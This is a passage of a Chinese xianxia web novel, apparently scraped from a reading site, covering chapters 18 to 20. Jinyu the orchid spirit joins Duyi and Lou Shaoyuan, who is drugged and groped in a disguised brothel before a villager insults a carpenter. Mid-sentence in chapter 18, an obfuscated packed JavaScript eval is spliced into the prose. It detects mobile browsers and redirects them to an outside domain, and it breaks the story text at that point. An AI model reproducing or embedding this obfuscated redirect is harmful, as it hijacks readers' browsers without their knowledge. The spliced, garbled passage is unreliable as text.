白衣男子原是锦玉,与先前的那番凌厉相比,这次见到两人时却表现的有些不同,似是回避,倒是不安稳的开口:“在下……姑逢山锦玉。” 18. 本色 独翊认真的打量着锦玉,正当他的脸恢复到一派暖玉色时,想起刚才那把玉剑也是出奇的碎裂成粉末,无法变回原来的样子,转念一想,真想知道这人到底是何方神圣?可依旧看不透他的真身,难道也是一位野仙? 他随即正了正身子,握住了楼少渊的手腕,不让他上前,自己却前倾一步,把他护在身后:“原来你叫锦玉,有何贵干?” 锦玉有些犹豫不决,手里似乎还握东西,将头压低,俯身作揖:“锦玉于洞中打伤两位公子一事,前来赔罪!” “我……总不能说真的没受伤吧?但是好在命硬!其实没事了,我还是很坦然的!”楼少渊知道他是出手重了,却也没伤要害,接着拍了拍独翊的手,反倒嬉笑一阵就过去了,“诶?我就想请问了!那个你……真不是个人啊?” 一道话音落下,连独翊都感觉楼少渊是不是生气了,其实不然,这是另外一层含义,只是连独翊都当真了,而锦玉不敢察言观色,以为楼少渊是想要骂他好解气,不禁心中抱愧,眼睫压低,继续压低说:“锦玉入深山多年,不晓世道轮换,不知人间礼数,这才冲撞了二位,也确实不是个人……” 楼少渊眉间一松,这才“啊”了一声,敲碎心疑,围着他走了一圈,显然看不惯这人的低声下气,堂堂君子之风,怎能如此?这也不是那也不是,抬手将他的手错开,这才看清本色,忽然心中一颤,转头眯缝着眼看向独翊。 “奇怪!这人竟然不知今是何世?难道是山里头出来的家伙?但是这般气质不凡,还有来路不成?”楼少渊走上前来,问向独翊,又一退后,想起是他带走的禅师,缓缓打探,“那个……禅师呢?和你是什么关系?” 锦玉怔愣着,有些愧疚:“对锦玉很好,也是很重要的人。” 楼少渊猛的看向他,摊手空空,看起来比锦玉面对禅师还要紧张的多,询问:“你的禅师呢?怎么办?这就投奔我们了?怎么不把他一起带来,我好见见真容颜!不对!是活过来的模样!” 锦玉坦然:“禅师不愿耗尽锦玉灵力,早已在古刹……身死,锦玉修为尚低浅,救不了他,他是甘愿……” 楼少渊大叹一声,唏嘘一阵,略感可惜:“哎!这禅师本就是普通人,能活上百年就已经很值啦!他肯定不能怪你啊,既然缘分已尽,他还得谢谢你……” “……当真?”锦玉的神色亮了起来。 “真!绝对真!也真,才真、一半吧……?”楼少渊暗道,也没正眼看他,心中凉了半截,毕竟他又不是禅师,怎么会知道心中想法,只觉得这小妖太卑微了,细数记忆好生熟悉?难道自己还能收拢别人的记忆不成?还好自己收拢人心也有一套,不对!是妖心! 独翊看了一眼他腰上的白玉雕纹,不假雕琢,注视着的目光也是不假:“敢问阁下……你的真身难道就是这株灵草?” 听独翊这么问,锦玉愣了愣,低头看了一眼,并没有立即表明,而是有意避讳自己的身份,可是迎合别人的说法会不会好些?至少暂时别让人感到恐惧就好了。 “这是锦玉,也是瑕瑜。”锦玉垂首嗫嚅。 “瑕瑜”不过就是一株白化兰草,为山中所栽,通体白化,无根而生,本就是一株活不长的兰草,锦玉觉得这兰草的出身与自己一般,虽依天地而生,却无依靠可言,也怕终有一日活不过日薄西山,毫无二致,所以他一路都在用自己的灵力去滋养它,收入玉中吸收灵气才得以存活。如此可见,最初的锦玉和它一样并不完美。 直到遇见花禅穆一之后,这等含义很快被彻底隐去,最后禅师给锦玉取了二字作姓名,小字中书,又唤中书君,他解释其中寓意是为:兰花脱骨为本色,只有两者互鉴,才能揭露真心,切莫妄自菲薄,如此谨记教诲。 现在的楼少渊早就好的差不多了,也不计前嫌,更不想耗时了:“你这小花妖够内敛,好含蓄!也是一位实力强劲的对手,禅师这件事呢,我相信过不了多久就会被载入县志,成为悬案,即便是有人将杀穆老爷的事情随意扣在了穆府众人身上,那是有理也讲不通!” 这小妖能去当呈堂证供?告诉那些人这么玄乎的事?到头来是谁的错,孰是孰非谁说了才算? 独翊接过话:“你难道是为了禅师而来?” 知晓禅师真正身死的这一刻,锦玉也无可奈何,但是祁连将军在他的身上,总不能伤了人再取走,如此作风不正,面对他们俩时也一言难尽:“是禅师告诫锦玉……” 楼少渊打断了他的话,听说起来也是磕磕绊绊的,也无心再听,说:“看你这个模样,没十天半个月很难适应啊,你不熟悉我,我也不熟悉你,大家熟悉起来呢,可真不容易,我看……你也和我们一同吧,早点适应这人间。” 见他如此断言,独翊沉思了一会,一把扯住了他的衣角:“可他伤了你,贸然留住会不会……不太好?” 楼少渊顿住,摇了摇头:“他还未说清目的,更不知此番何往?我猜他定有事相求,对他而言难述,不知如何作答,等到了下一趟落脚地再追问吧,这不还有你和他打个难分高下吗?我不怕,我信你。” 独翊勉强对他的话心悦诚服,会心一笑:“楼兄所言有理。” 言罢,二人转身就要离去,原以为他会跟上,锦玉却不挪动脚步,无意跟上,似乎有口难言:“两位公子先行,锦玉随后……” “你怎么不走?”独翊察觉到他的目光异常浅淡,脸又开始苍白了起来,总觉得不对,迟疑了一瞬,顺势将腰上的红绸带解下来,这会也兜不住内衬了,松松垮垮的提着,他将这红绸带递到锦玉面前,意为将眼蒙尘,原来他也察觉了这人的眼睛古怪,不能见光。 “多谢……”锦玉微微一怔,颔首接过后,还没等独翊缩回手,手上微沉,便低头一看,多了一块白皙的玉石,还有些温热,不用多说,一定是锦玉顺势放在他手上的,不过此番又是何意? 独翊拿着仔细端详,也没收下,这确实是个好东西,可是他并不需要,只觉得奇怪:“给我玉石做什么?” “报答。”锦玉一听他问,声音细微呢喃,恨不得把自己埋在阴影里,从不敢看别人的眼睛,这么一递!片刻又想起花禅穆一告诫过的话,正是这种故态复作,依然故我之行,心里别扭极了。 “谢谢,但是不用了。”独翊刚想要还给他,却被他退后一步,躲开了,由不得他拒绝,锦玉眼神微黯,又从袖口里拿出一堆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087008|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捧到两人面前,头侧一边,不敢直视,“锦玉还有很多。” 独翊忽然就愣住了,他本就不缺这些,哪能想这人这么执着,强势的话始终说不出口:“我不是想要你的回报,而是你没真必要因为这件小事而迁就别人。” “嗯……”半晌,锦玉收回手,把玉石揣回袖中隐散,垂首将红绸带系上双眸,竟然也不见得太刺眼了,果真有效,效果极好,也能闻声辨路,聪明的很,“好。” “你们要时刻谨记我的话,千万千万不要再走错一步路了!”楼少渊扑上跟前,对两人做了个“嘘”的手势,独翊和锦玉默契的点了点头,立马收绪,带俩小妖赏人间去! 落日垂暮时,行迹雕木东阳地。 猪肉摊前站着一个青年屠夫,扫视了他一眼,说:“便宜点不行,我今天是出摊晚了,晚了怎么能便宜?” 对面的邵木匠差点被气的背过身去!他得赶在天黑之前赶回去,一见这人的脾气够犟,气急说:“你都卖到日落西沉了!便宜点怎么了?按我说啊,我在这逛了一圈,就数你家的肉还是不错的,我家来了个孩子想吃点我包的馄饨,这待遇连前几日回来的女儿都没吃到……毕竟我女儿回家也吃的不多,日日吃上一顿的剩菜,倒了可惜,待客总不能让他吃剩菜吧?我想着做个简单点的,哎!出门找一圈,就感觉你这肉不错。” 青年屠夫将手按在案板上,上面的血还没擦干净,有好几道血液都顺着木板边缘滑下来,连血痕也沉淀到每一道缝隙中,忍不住说:“你穿的简直比我还像屠夫,你就算是同行我也信!不卖不卖!” 邵木匠百思不得其解,看着自己身上的黑蓝交叉领,头包黑巾,破布补丁齐聚一身,然而只是穿着比较舒适而已,显然不像个屠夫,顿然:“怎么会?我要是同行怎么会给你倒贴钱?” 青年屠夫却有自己一套想法,面无表情的说:“我这便宜卖你了,次日来说我是把昨日下午的臭肉便宜卖你,没准吃出问题来,连同一行人讹我怎么整?” 邵木匠被气的想笑,说:“哪能这么聪明啊,我确实没见过你,你也是刚来不久?这猪肉摊位早就被好几个老手固定了,你那么干净,一看就是刚上任不久,人心向背,自然是没老手有诚意,你觉得我就应该和那些老手挤兑你?让你做不成这条街的生意?我过好几个村才看到一处还没收摊,我有那么闲吗?真没什么理由惹你,再说,不卖给我你卖给谁?你难道要放到第二日再卖吗?” 青年屠夫顿了顿,听着确实有理,这会儿终于拔起砸进案板里的杀猪刀,轻哼:“讲的那么好听……你要哪块?切给你就是了。” 人群不如清晨赶集的多了,但也空旷,这会楼少渊负手转了一圈,轻巧地停在独翊身前,想要暗示他随便找个地方住下:“我们要走到何时……?要不找地歇歇脚?真累了。” 还没等独翊答应,就看见左侧有一道暗门,门是虚掩着的,但是隐约可以看到里头站着个女子,一旁也有一扇正门,只是独翊觉得贸然进去不太妥当,问:“里面有许多靓妆女子,我们要是进去,是不是有些冒昧?” 楼少渊却提步先进暗门,一手推入,笑着转头看向二人:“无需介怀,只是客栈。” 19. 掀尘 邵木匠指了指猪的前腿肉,打了个从“这切起”的手势,青年屠夫起刀割肉,手起刀落,轻车熟路的划拉了两下,锐利的刀刃从中割出一条缝来,拎起来提到他跟前示意,邵木匠眯眼,还是感觉有点差强人意,顺势摸了袖口的兜,忽然又停下动作。 “那个啊……可能有点对不住了……” 邵木匠不敢说话了,扬起了愁容,原来他把全身上下都掏遍之后,竟摸不出一个子!不知如何是好,他早就忘记是不是没带钱了,要是再赶回去一趟,兴许就赶不上了,登时噤若寒蝉,不敢再言。 直到青年屠夫看出窘迫,又将刀重重劈进木板,不再拔出,将肉摔在一旁,也是摇了摇头:“没钱?费尽心思才让我觉得你说的话有理,没钱就是另外一回事了,你快回去拿钱吧!肉给你留着。” “老伯?”旁人察觉到一阵清风兰香,这步履极为轻快,再转过头去就消散了,独翊这边不必急着跟着楼少渊,事先走到一侧,从锦香囊里抓出一把糖,先送一部分到锦玉手里,一并落入怀中,这才走近,将囊里最后的十来枚铜钱放到离肉极远的位置,离邵木匠极近。 屠夫一看有钱了,想来是有人排忧解难来了,立马从角落里抽出一条草绳,将刚才的猪肉打包齐全。 锦玉刚从身上摸出玉石,欲要开口,却一手被独翊挡了回去,他笑意渐浓:“不必,再这么下去,买下整个村子也不成问题。” 锦玉不明觉厉地点了点头,于是又将玉石放入袖中隐散了。 青年屠夫用草绳将肉捆绑成四边,递给了邵木匠,他搓了搓手接过,拾起那几枚铜钱递去给他,瞬间盖去愁容,得以解纷,到底不知该如何感激:“真不知道该怎么感谢你!我记得我是带了钱的,一定没忘,或许是掉在路上了,你们要不和我回趟家吧?一定不忘!” 独翊摆了摆手,也是推让这人好意,不觉莞尔:“不必了老伯,快些回家去吧。” “啊?那就谢谢你们……也多亏了你们。”独翊颔首,二人转身离去,邵木匠留在原地,看了看肉,又看了看背影,总感觉有些不太好意思。想到这人为他解围,细看模样确实不像是缺钱的主,不足介意又不好强求,心里还是有道坎一样,有些沉默。 锦玉手上还捧着一堆蜜糖,低头看了看,其实他从未尝试过这些东西,以为是独翊想让他妥善保管,他也听信了去,好在保管的不错,分毫不差,微笑着递过去,说:“给你。” 独翊一手挡回,走的极快,不太注意他这般举动,镇定从容:“以后我和楼兄给你的东西,你不用事先请示,更不用怀疑,就是给你吃的。” “……谢谢。”一道话音落下,锦玉怔愣一旁,低头看着手心的糖,又看着他走远了,答谢声埋没在接连伏起的吆喝声中。 侧旁的小门已经关闭,两人在外头站了一会,看着门匾上的“行舍”二字,锦玉问:“怎么还不见楼公子出来?” 在这个方面上,两人都稍显优柔寡断了,独翊更是举棋不定,不知如何打算,脑袋一阵嗡嗡发乱,先行踏步进了大门:“我有种不祥的预感!说不清是什么?!先去问问吧。” 容娘站在门前接应,她身上沾满了客栈之中的杉木香,似乎是站的比较久了,久远至沉厚,少了很多清木香,脸上的妆容不是很浓,自然遮不住憔悴,她说:“两位小公子呀?要几间房呢?” 独翊双手拢袖,表面看着无恙,实则手心已经开始发汗了,背后也开始起寒,面色浮现尴尬,随即又恢复:“我们是找人!我有个朋友……!” 容娘装作若无其事,有些惊讶:“啊这……今日住客多而繁杂,二位公子想找的人我也未必记得住,你要是有个模样和我形容呢,或许我就有那么个记性呢?” 独翊立马脱口,直指侧门的方向:“就在刚刚!是一位素衣公子,身高和我差不多,头发乱乱的!姿色不错,就是一副好无所谓的样子!” 容娘摇了摇头,在她的眼中看不出任何破绽,摸不透,反倒爽朗一笑:“不曾见过,或许是去别处了呢?” 独翊又指了指左边的那扇不起眼的小木门,低头打探:“那道侧门也是客栈吗?” 突然又出现一位女子,靠着门边冷哼说:“现在已经关上了,不过呢……你们要是想进去,一纸九文可作订金,迟到作废!时间嘛?是要排到猴年马月了。” 这行话倒背如流,独翊更是摸不着边际,转过身来看向她,还蒙昧于惊叹:“啊??姑娘话中何意?” 女子险些晕过去,哼笑:“无中生友?还会有谁比你们男人更清楚做这些事??跟我装什么傻?!” 没等他明白,一阵凉风拂过,容娘抽出手绢往她脸上一扬,瞥了她一眼:“哈哈!想什么呢?!我们这边可是正经客栈!比那些臭酒缸子旁还插朵花的正常多了!依我看呐,他是被抓到巷子里咯!落入谁家呢,我也想不到去处呀!” 眼看问不出什么,独翊拱手谢过,欲要离去,转身抓了抓脑袋,暗自喃喃,“我也没说不正常啊……” 这等情况下人地生疏,楼少渊是不会轻易离开这么久的,看二人如此,这一定不是简单的客栈!他转眼不见锦玉,一听有响动,可是要硬闯了?!独翊迅速奔出,那扇门早已被内力破开,木块碎落一地,四分五裂!恐将误事,他顺着木楼梯走上一圈,还是没有寻到尽头! 直到碰上锦玉的白衣后坠,先行停下,见里面闭门不开,连声音也封锁了!锦玉微微侧身,放手一推!一阵迷欲异香涌了上来!白晕缭绕!如同置身天都!里头的大肆咆哮声也开始异常清晰,瞬间放大!独翊惊呼眼前人,先行踏进门槛,脚下莫名踩了蹚浑水,微微凝滞地仰首:“楼兄?!” 楼少渊落地床沿,被多人围困在中间,他衣服可是好扯!简直是衣不蔽体,只身扯下帐幔挡在身前,大声疾呼:“快救救我!!老子要被他们玷污光啦!!!” 独翊定睛一看,认出前方那人的身形,上身暴露无遗,怒斥一行人:“放开他!” 屋中六七人听到动静皆愣神,抬头看去,门外传来的声音不绝于耳,楼少渊前方蹲着的一个男人为先起首,腕上还牵绊着红绳,楼少渊不停挣扎,捏的力道极其用力,红绳上的小铜铃就开始接连发出密密麻麻的声响!紧紧握着他的脚踝的动作也戛然而止!意图不要太明显!阒然无声后,轻微地响声也惊动了楼少渊身后抚触左肩的女人,几人神色慌张,右侧女子一手支颐,一手的酒杯抓握不稳,顺着楼少渊的胸口滚落到地板上,弹指间,胸襟上又湿透了一道痕。 如此场面简直放纵!锦玉视若无睹,直到独翊想怎么道破这场面时,楼少渊如坠冰窟!满面通红,不堪落在他脸上,双臂捂在胸前,马上暴雷一声吼:“滚开!起开都给我滚!!!刚才聋了吧唧的!现在听明白了吧!听清楚了吗??一群混蛋!!都给我滚!” 他们这才听得进去,有默契地鞠了个躬,齐齐整整的下床,并排走了出去,路过锦玉时,一位女子注意到了他,看着这位俊俏的“瞎眼”公子,不禁踌躇了起来,省了暗送秋波,见况,侧旁一个男人心领神会,路过时,饶有心机的持手一撞,不偏不倚地把她撞到锦玉的方向,一瞬侧歪,即将扑身入怀!可他早有预料,还没贴近,抬足挑出桌旁的一只凳子,移向落处,这才让她没能摔倒,而是稳稳地坐在了凳子上。 锦玉颔首,绕过一边走到了窗台前。 行此事无果,前面几个人停下,笑嘻嘻地取笑她,见她看过来,又委婉地露出一副爱莫能助的姿态,女子便悠悠起身,面色不悦,走到楼梯边时忽然加快脚步,气急地踢了前面那个撞她的男子,他还没转过头,心头一空,不明所以的一路滚下楼梯去,连带着其他几个没走完全程的,也一齐滚了下去。 底下传来一阵叫喊连天。 楼少渊赶忙扯被捂住全身,闻到异味又有些嫌恶又抛开了,含泪僵持,嘴唇颤抖起来:“我还想问呢!刚才我进去,非说我来迟了?什么来迟了!分明被摆了一道!你们一来就即刻松手,非要看人下菜碟!一言不合就把我拉到床上,喂我吃摆了供了百年的烂果品!喝的东西却一点也没味!后知后觉那居然是酒!我竟察觉不到浓酒烈性!可让我身子极为软烂,尤其是那个男的!竟然还浓妆艳抹扮女人!我呸!他还敢凑上来?一群人中就属他品劣低下!油腔滑调毫不知耻!!” 锦玉走到一旁打开了窗户,临近的暖风吹了进来,还是没有彻底散尽屋中残留的靡靡欲香,他将遮眸的红绸带一扯而下,拾于手心,看向两人:“屋中有种致人迷幻的药性,极为浓烈,他们早已适应,所以才无法堕入其中,这已经不是品劣的问题了,更不是一人之行,甚至是斜门倚靠的那位姑娘说的话,也是深含其意。” 独翊扶额,脸色也挂不住了:“事到如今误打误撞进了这风尘地,那些人强制你喝酒也是遭罪了不少,身心俱伤,险些没有色令智昏,这才一会的功夫竟也受及池鱼之殃,你真应该注意的自己的行为!反省自己的冲动……” 他也欲哭无泪,那张谄媚脸还记得彻底!那阵手感迟迟不能退去,心中反应也没有彻底恢复,双方的脸色更是难看至极。 “羊了个羔子的……真倒胃口!定是哪个人爽约将我当成他下手!这是缺他的德折我的寿!这人口味……口味真是不一般的重!”楼少渊单手捂住自己发红的脸,揭开了一条缝隙,见独翊的脸也是僵在那,尴尬不已,比自己还要生气,想起那个男的按住自己的脚腕,嘴角微微抽动:“我…再也敢不乱来了!别生气啦……你生气了吗?” 他的另外一只手在独翊脸上挥了挥,独翊还是面无表情的将他手拍开,捡起那面掉落的铜镜,放到了床沿,恢复脸色:“楼兄大体如何?” 楼少渊松了一口气,有气无力地抓了抓发丝,投来一看,顺下来好几条红绳,又甩开了:“喂了几口酒……还有这些招人烦的玩意……!!” 等到三人下楼时,那扇大门早就关闭了,楼少渊又跑上前去踹了两脚大门,指着门匾大骂:“伤风败俗的东西!世风日下!歪风邪气!老子与你不共戴天!” 独翊脱下外衣,将自己的衣服披到他身上,楼少渊瞬间暖和了多,侧头看他说:“你难道不冷?” 独翊摇头:“我从不怕冷。” 走在路上时,锦玉和独翊看他衣服敞开,旁人看他穿衣不正,又多看了几眼,内心早就一清二楚,偷笑离去,跟上半身没穿有什么差别?两人默契的又把他的衣服收了收拢,楼少渊只觉得宽大地很,又大肆掀开撂到身后:“这衣服真暖和,难怪你这么爱穿锦衣,又彰显财气还保暖,和我身上的残衣破布倒是不同了,果真是一分钱一分货啊!但是好沉……有点吃力是怎么回事?” 独翊心下解释:“蛇鳞中施存了许多灵力,才能使得温度长期处于稳定,我最初穿上的时候,也是过甚沉重,不过习惯了就好,并不是解了才能如释重负,而是这身上的一切都是兄长给的,一样沉重。” 楼少渊全身疲累的搂着二人的肩,缓缓走着:“还能冷热调控!冬暖夏凉!精彩精彩!哈哈哈哈!我穿一辈子岂不是一辈子都可以不洗澡!深得我心!以后就不用睡凉亭和烤镣炉啦!” 独翊意味深长地说:“是这样的,你若是喜欢,便可以送给你,有我在,往后我的灵力也仅限你一人。” 楼少渊变脸的青一阵红一阵:“不不不不!这东西还是你自己留着吧,我怕哪天把我压得脊背先冒酸水了,灵力这种东西,你还没施展过吧?那么这蛇鳞其中的法力……应该都是出自你那位兄长的?!” 独翊颔首,眼中闪灼:“没错,虽然我身过百年,施展灵力方面还是及其低微,兄长这些年来与百姓相处,并没有突破妖仙那一层 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独翊大为不解,也跟了上去问:“烧楼?” 邵木匠摸了摸自己没有的胡子,装模作样地长叹一口气:“曾经有一场大火将整个村子烧尽,后面待人重建时,有位木工的耳朵奇痒,总觉得有风窜入这些危房之中,做事时耳旁总能听到一阵孤魂怨鬼的嚎叫。 他有次问旁边的人,说:“你有听到什么吗?” 那人一声不吭,像是没听见,后来他招呼另外一个人去如厕,迷迷糊糊间和那个人走了不同的一道分岔路,而那个人却是踩空木板,掉到了二楼,如同从悬崖而落!摔成肉泥,死相极惨! 所以这一条街底下的屠夫多,异常生猛,那是因为能镇得住这些冤魂厉鬼,这件事到头来便成为了不解悬案?这恐怖的来源至今不知是何物,说的我都有些怕了!这个……难道没有吓住你们吗?” 锦玉纹丝不动,率先回答:“嗯。” 独翊不知所云,眼中含疑:“嗯……?” 楼少渊醉眼朦胧,放松身体,瘫软在独翊背上,耳朵听得倒是清楚,微软的抬起左手,不假思索地指了路边的一只黑猫,微微挑眉:“……哈?没准恐怖的来源是半夜的猫发情呢。” 邵木匠也是笑出了声,低声说:“你没醉吗?” 楼少渊有气无力地喊了一声:“醉没醉我能不知道吗?七分醉,三分醒?那都是借口!我只是好困好累,睁不开眼,更不想说话……想吊着一口气,等到我清醒了再说……是这种感觉!” 邵木匠哼哼一声,摆摆头:“原来还是能听到人讲话的,我以为那些醉客……是真醉呢。” 那只黑猫似乎听懂了,又竖起尾巴伸了伸腰,朝他这边叫了一声,又跑开了。 独翊有些诧异:“老伯家里有几口人?为何现在出来买菜?这个点回去怕是饿坏了家里人?” 邵木匠指了指用草绳绑住的肉,提到自家人时,脸上总是洋溢着笑:“我是一家三口,今日算来是七个人了,这菜倒不是问题,其实早上的肉肯定比下午的新鲜,但是我家来了个孩子,太晚了,可光有菜也不行,想着做个简单的馄饨,嘿嘿……没肉了,我才来的,我夫人可不傻,她饿了别人也不会饿了自己,我女儿吃的也不多,还好今日是有你们,这才解了这燃眉之急。” 独翊失笑:“无妨,我们三人也是凑巧路过。” “还好你们的凑巧搭救了我,所以我也要让你们吃上一碗馄饨,这是人情嘛,怕你们不收,我就等着,但是你们也不是推三阻四的人,好说话就行,我心也就放宽了。”说完,路过一处土堆,上面插着一把木剑,这个模样更像是一座小坟包,剑作碑,着实不敬。 但是孩童们也是有自己的一番奇思妙想,就好比是在某处看到坟是这么立的,与他人游玩的时候,因陋就简,脑海里就冒出也想立一个的念头,也是新鲜的不得了,邵木匠将它拔了出来,长度约七寸左右,给三四岁玩确实长了点,他将那木剑握在手心,剑锋和边刃也消磨成圆滑,没有开刃,确实无从伤人,忽然冷不丁地冒出一句奇怪的话:“就那么小的孩儿,怎么就被一把剑吸引了去,这木剑难道就不惹人爱吗?” 楼少渊忍去困意,强撑着仰头看了一眼四周,也没看到什么小孩,也没听到什么小孩的声音,呆滞着打起精神:“哪里来的孩儿?” 邵木匠热切地说:“那是我的女儿小雪,现在想起来,你们这一派风格真像她师父那个堆里出来的,说不上一模一样,可也沾个了一星半点,说到底他还是我手底下出去的人,竟然把我的女儿骗走了!上一次来……还是上一次,我也记不清了。” 独翊试探性问:“敢问女公子的师父是……?” 邵木匠似笑非笑,由衷感慨:“他叫芦荻秋,是个很美的名字!接他回家时就是嘀咕了一路的小话唠,在外受了很多伤,我和他师娘养了他一阵子,终于养回来了,学了点木雕手艺,后面就去别处发展了,先前给皇宫做过事,当了个半大点的官,就封了一小片地,据说是什么楼台山门主,那日学成回到东阳时,说是要孝敬我们,可是多日后,就用一柄银晃晃的剑就将我女儿哄去了……哎!这算什么孝敬?” 楼少渊半睡半醒,总觉得芦荻秋这个名字熟悉,忽然冒起一个机灵,不经意说:“难道是他?真的有这么巧吗?” 邵木匠将木剑揣在兜里,打算拿回去,但是心想,这或许是别的小孩落在这的,今日天色已晚,或许是忘记拿走了,接着用手袖擦拭了一下,放回一旁,卡在了一旁的石缝中,听到楼少渊的声调似乎意有所指,犹豫了一会,说:“你们认识啊?” 独翊若有所思,可再熟悉不过了:“那便是潇湘之地,楼台山门主之一,虽然没有途经过他所管辖的地带,但是略有耳闻。” 20. 归心 听他这么一说,邵木匠立马激动了起来,走的健步如飞,想起了多年前的往事,把三人远远地抛在了身后,回忆起深沉,脸上笑意不减:“我就说吧!他名气还是很大的!不对!我教的还是很好的!还是没有让我失望,其实我很早以前也听说过这些刀光剑影,侠义之道,曾经在给人做木工时,有一户人家的楼顶上全是散落的书籍,下午有阵休憩时就蹲在那看,都是一些玄乎的话本,记载的内容也是玄之又玄,妙不可言,可见江湖风云多变多异事,我是不忍心,不舍得让她走的,但是一想到会比这里更好,学到更多不同于木雕的东西,也很好!等到他下次回来……我就准备把毕生的家私都托付给他,毕竟我只有一个女儿,却对木雕这般兴趣不大,其实这些苦活确实强求不来,她被收入门后,再怎么说也是我女儿,他怎么舍得小雪受苦呢……” 他一路叨咕了过去,全然忘记了身后的来人,忽得猛然一停,却听不到脚步声了,转头一看空旷了一大片,这才察觉到后面三人没跟上,又缓缓原路倒退了回去,尴尬一笑,再也没说话,三人却也不介意,一路上的脚步也加快了很多。 途径好几个村子后,不过半个时辰,就到了一处名为东山村的地方,天色已黑,月色如水,街上也没多少人走动,自然看不出什么繁华景象,直到有人在街上徘徊前后,认出了邵木匠,才作熟人般上前打招呼,这人有些大小眼,面色萎黄,头发也不长,像是被自己胡乱剪短的,外面是一件麻衣,内层用烂布遮蔽,不动时就像个质朴守村人,要是被他盯上,就得被盯一路,瞟见他手里提着的肉,断定他是花大钱了!笑嘻嘻反问:“又那么省啊?邵老头?!” 邵木匠早认出他是谁,并不想理会,刚要继续走,那人却伸出一边手脚横拦竖挡,只能放出狠话说:“省?省的钱到时候给你爹娘打棺材!你能不能有点出息??” 木耳不算疯癫相,也不沉默,翻了个白眼后,伸出小指挖了挖右耳,晃着头哼着小曲,大步靠近他,一脸怪笑:“邵老头!我爹娘还没死呢!现在村里能有几个不要钱的能工巧匠啊?我还没出息?我捞着便宜是我有能力!当年可是我爹妈把你送上京路的!现在也就剩半个身子入土了,你以后得养我!大不了呀养我一辈子!” 邵木匠清了清了声音,将肉移到了身后,缓缓说:“木儿,我不欠你们家的,早就还完了,你要是真孝顺,我可以带你做些什么活的,你还是要听话,家里以后就你能走动了,亲戚现在都不上门了,说白了以后还是要有自己的一番本事的!不然你怎么活?” 木耳摆了摆手,用手拍了拍麻衣,拍出了不少灰尘,还特意在另外三人面前显摆,见到他们的脸就够气愤了,来回对比一番后又气的离远了些:“不去不去!我这辈子都被他们嚯嚯完了!他们懒命一条!令我折寿半生!!不学!他们是舒服了半辈子!那我呢?要是真想要对得起我,就应该老实本分一辈子!” 他听完这番话,沉默了一会,原来这木耳的父母本是东山村的普通农户,但是与一般农户不同的是,木耳的父母却是保留着上一代的家底,多年前在东山村也是有点名气的。 当年皇帝下令招揽天下长技匠人,于皇城内翻建新都,大兴土木时,由于村子众多,虽说每个村子都能出几个木匠师傅,可是又不是人人都能去的,谁不怕出门就遭了山贼,还没孝敬到皇帝老子,就将自己的一路身家给夺了杀了,若实在有差池,得不偿失。 所幸当时的邵木匠可是真的载着马车上京的。 木耳的父母靠着上头的家底,这代就停止务农了,才疏学浅的他们自然极为赏识那些能识文断字的,或是有一门手艺,极为惜才。 可他们有钱却没度,既不从商也不行官,好古玩奇珍,今日斗鸡走狗,明日无所不为,总是期待时来运转降临自身,输个精光也不曾回头,得过且过。 他们当初也甘愿出钱将邵木匠送去京城,后来顺利入了京城,他埋头苦干多年,累积了一些犒赏,顺利有了一番作为,时间一长又尽显莼鲈之思,有朝一日回到东山村后,一些钱财还去了木耳父母,剩余的钱也全都用于改造家乡了,后来木耳父母躺床,外界笑他父母是得了富贵病,一病不起,后面他无人管教,又是家中独子,反而觉得邵木匠接济的一切理所应当,虽说木耳父母没什么后言,可邵木匠就是一条心,怎么说也得把他爹娘送走,他嘱咐幼年时的小雪不要经常去村口,实则就是怕被木耳抓走,他知道人心险恶,假如有一天真到了那个时候,遭罪的还是他。 其实木耳的名字不叫木耳,而是“木儿”,因为谐音之间比较相近,木耳父母又觉得比较好写,可越落到实处时,又让人唤“木耳”了,木耳又像人的耳朵,所以木耳幼年时与人游玩,孩童们就会先去扯他的耳朵,叫喊着:“木耳!我抓到木耳了!” 甚至是许多木耳被泡在水中时,孩童们也会觉得这会不会是木耳掉下来的耳朵?于是第二天会去蹲在暗处,偷看木耳的耳朵是否被割了下来。 渐渐的,他总是一个人独来独往,直到家财散尽,就更没有人愿意和他玩了,每日都在村子附近徘徊,大家反倒觉得他已经是个守村人了。 木耳疯头疯脸的先骂了邵木匠的一身穿衣打扮,指他嗤笑,心中畅意不止,语调上急下窜:“你啊穿的跟个野山鸡一样!身后的仨人占了俩人模狗样!还有一个!头发乱得怎么就跟在树上风晒了十年的干尸一样!什么样的衣服都盖不住你这穷酸相!没个活人样!嘿嘿就像那个……上次贾刘儿家的那纸人!对对对!红脸蛋纸人!哎哟!话又说回来,难不成这仨人是给你那宝贝女儿作婿的?照这么办,你也太贪了!三个呀?我知道了!这些年一定攒了不少钱,陆续招入赘的吧!今日那个小男孩,难道也是送来给你女儿作配的?哎!你对你女儿简直宝贝的不得了!可是我每次叫她怎么都不给我一个眼色!都说子不教父之过!邵老头!你怎么教的女儿!” 听他口无遮拦的喝神骂鬼,邵木匠气得瞬间火冒三丈,勃然大怒:“什么作配的!你莫要口出狂言!” 木耳捂着耳朵脑袋乱晃,不怀好意地上下打量他,嘴里还在不停扬言:“怎么就不让人说了?我就说!就说就说!!!女人滥情就不让我说了?还有你啊!老实本分了一辈子,每天东奔西走,谁知道你这时间打发哪了?” 他说话实在是太难听了,楼少渊也不知道何时在两人身边脱身而去,突觉来者不善,飞扑过去牵起衣领,猛地抬手打了他一巴掌,还没回神,咽喉早已被掐住,左右来回扇了好几个耳光:“你个酒囊饭袋!长得还像村口井边爬出来的烂水鬼,作孽不成还敢骑到你爷爷头上!没人教会又如何?如今只有被我教训的份!谁容许你这么放肆吵闹!反了天了!” 木耳已经被掐得气噎喉堵,被人所制的脸色难看,转深发白,终归用尽蛮力,反手遏制着他的手腕,手劲朝上一推,终于从自己的脖子提上一口气来,这才松了口气,大骂:“你这死穷鬼!凭什么打我!” 